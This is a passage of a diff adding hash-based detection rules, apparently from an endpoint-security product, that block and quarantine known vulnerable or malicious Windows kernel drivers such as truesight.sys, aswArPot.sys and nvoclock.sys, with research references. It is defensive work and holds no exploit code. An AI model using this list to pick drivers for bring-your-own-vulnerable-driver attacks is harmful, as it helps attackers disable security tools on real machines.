+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d3b5fd13a53eee5c468c8bfde4bfa7b968c761f9b781bb80ccd5637ee052ee7d",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c7f4d28b-0ff5-57e9-9251-25d24d17dba7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152185Z",
+  "creation_date": "2026-03-23T11:45:31.152188Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152196Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "25b6f65c07b83293958c6f1e36d053b1d39c5dde864fde5cfc1834ecca591139",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c7f53393-3aff-5801-9092-1271c2a54d08",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820124Z",
+  "creation_date": "2026-03-23T11:45:30.820126Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820131Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "14a0a9fe317192b54fda1516f46af78e6aabac0cf050bf18ec1e5ddaefd8e051",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c8097ad6-8b0b-5aea-87fd-975054f83666",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828112Z",
+  "creation_date": "2026-03-23T11:45:31.828115Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828120Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cd3b251ac86c22d91ab802841869285776c07e1d51c8b813e1538a3875396e12",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c80b8259-83ab-54da-ab5b-22a088c4ed4d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969238Z",
+  "creation_date": "2026-03-23T11:45:29.969241Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969246Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a5a50449e2cc4d0dbc80496f757935ae38bf8a1bebdd6555a3495d8c219df2ad",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c80e7c1a-7902-5fb3-a4b2-9afea19044f2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823731Z",
+  "creation_date": "2026-03-23T11:45:31.823733Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823739Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "303f52270ee7b8c4e3c2256e7d3710004f8dc6a753fa0ec9d7aadf863e91f171",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c816e426-59a8-5b52-a894-046f53b0e987",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823626Z",
+  "creation_date": "2026-03-23T11:45:30.823628Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823634Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a423b34233d44c6ca5f2e33aa47e645dc431c71a642e0b0b40f2f2f0d48e8198",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c81c2ce1-fabd-5d52-af0f-f4a23bdd58b2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834668Z",
+  "creation_date": "2026-03-23T11:45:30.834672Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.834680Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "756388618fb0ac8c172bc08ab17bbfaece56a980f70ab4cd60a65ca1488b1799",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c824b544-8a10-52ad-b8fa-955ac0b3f9cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818962Z",
+  "creation_date": "2026-03-23T11:45:31.818965Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818974Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bd9da6db9c9ab066e44cc1653ad2bf817492850afd95b838df7f19b92254a5a2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c82be96f-332a-50e7-a1c2-0dbdbbd9d436",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819602Z",
+  "creation_date": "2026-03-23T11:45:30.819604Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819610Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b8321471be85dc8a67ac18a2460cab50e7c41cb47252f9a7278b1e69d6970f25",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c84d262a-aba9-517d-834b-e2c8cbcb40ad",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160221Z",
+  "creation_date": "2026-03-23T11:45:31.160223Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160228Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d8aec725fe23677aad785a819400da5c2bc8436804a965a256806ff6e37bb19d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c8521409-d970-5d97-90e8-eaf88d7fe442",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827212Z",
+  "creation_date": "2026-03-23T11:45:31.827214Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827223Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "26dde0eacfe6d99cd59ccb6e47597c9765489e30ecf9a27ea0be023fc31b019e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c854a0fb-9a3d-5639-8af9-fd3856fd379d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617024Z",
+  "creation_date": "2026-03-23T11:45:29.617026Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617031Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5167b33a95b4db0a1244cb3b95d4024587d9a5a95222babb033210e6b111d2fb",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c858192d-5477-5358-8aff-c3bacbc6085a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489230Z",
+  "creation_date": "2026-03-23T11:45:31.489232Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489239Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7626cbd757986a641705d133823994b458a16d7e93901e3bef15b4ce6cb54be2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c8632ad8-a407-5905-bafe-1f547c817fca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143615Z",
+  "creation_date": "2026-03-23T11:45:31.143617Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143622Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e88d6d62ec6d4ee772fabb2d5bf4844cf55c6a1d87db692ad30a9660089d96d1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c86c1719-503b-5865-bd8c-bc16a9fd2304",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978066Z",
+  "creation_date": "2026-03-23T11:45:29.978068Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978074Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c0d88db11d0f529754d290ed5f4c34b4dba8c4f2e5c4148866daabeab0d25f9c",
+  "comment": "Malicious Kernel Driver (aka ntbios_2.sys) [https://www.loldrivers.io/drivers/33a9c9ae-5ca3-442d-9f0f-2615637c1c57/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c87ce225-1ba6-53d5-b2f9-9cb59581830a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609719Z",
+  "creation_date": "2026-03-23T11:45:29.609721Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609726Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8e88cb80328c3dbaa2752591692e74a2fae7e146d7d8aabc9b9ac9a6fe561e6c",
+  "comment": "Novell vulnerable driver (aka nicm.sys, nscm.sys and ncpl.sys) [CVE-2013-3956] [https://www.loldrivers.io/drivers/f4126206-564f-49f5-a942-2138a3131e0e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c898de3c-fba8-5115-9959-88940ccb0e1f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.497510Z",
+  "creation_date": "2026-03-23T11:45:31.497513Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.497519Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1c9932bb8d070f8ee18b54607ad25d347e9a5464bbf46f128be30e5126b5b8ed",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c8a60329-a39a-512b-b1b7-cb4b238fc7e9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.485417Z",
+  "creation_date": "2026-03-23T11:45:31.485421Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.485431Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "188ee7fda1d997b4390bfda1c2fc173d5eb6f1a47865a9e0ca62807a7405ebb2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c8a6cde7-d099-5f90-9837-f5af874a1526",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454565Z",
+  "creation_date": "2026-03-23T11:45:30.454568Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.454577Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "15d44fa77f8d922b5cf03425116c394eefc20ae9a082d3d7f10e68b832be36e7",
+  "comment": "Vulnerable Kernel Driver (aka kEvP64.sys) [https://www.loldrivers.io/drivers/fe2f68e1-e459-4802-9a9a-23bb3c2fd331/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c8a8c418-975f-5daf-9e55-320b76eb97ad",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983981Z",
+  "creation_date": "2026-03-23T11:45:29.983983Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983989Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e466e2bf4e190edd8717f6e8466b77a66b3304f5ae1458ca4400025a869fdfd1",
+  "comment": "Vulnerable Kernel Driver (aka LMIinfo.sys) [https://www.loldrivers.io/drivers/a02ee964-a21e-4b08-9c98-a730c90bfd53/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c8c0cbf0-2673-54b3-85a9-181c1d100d51",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823500Z",
+  "creation_date": "2026-03-23T11:45:31.823503Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823512Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6df12669f7e96e72ef5cbb3b8bd1dfc2d359a0023f3c9d216c5fbdb84a44c2ef",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c8ec34d0-4dc0-53f1-aa4c-9b9a93f89af8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622579Z",
+  "creation_date": "2026-03-23T11:45:29.622581Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622586Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8939116df1d6c8fd0ebd14b2d37b3dec38a8820aa666ecd487bc1bb794f2a587",
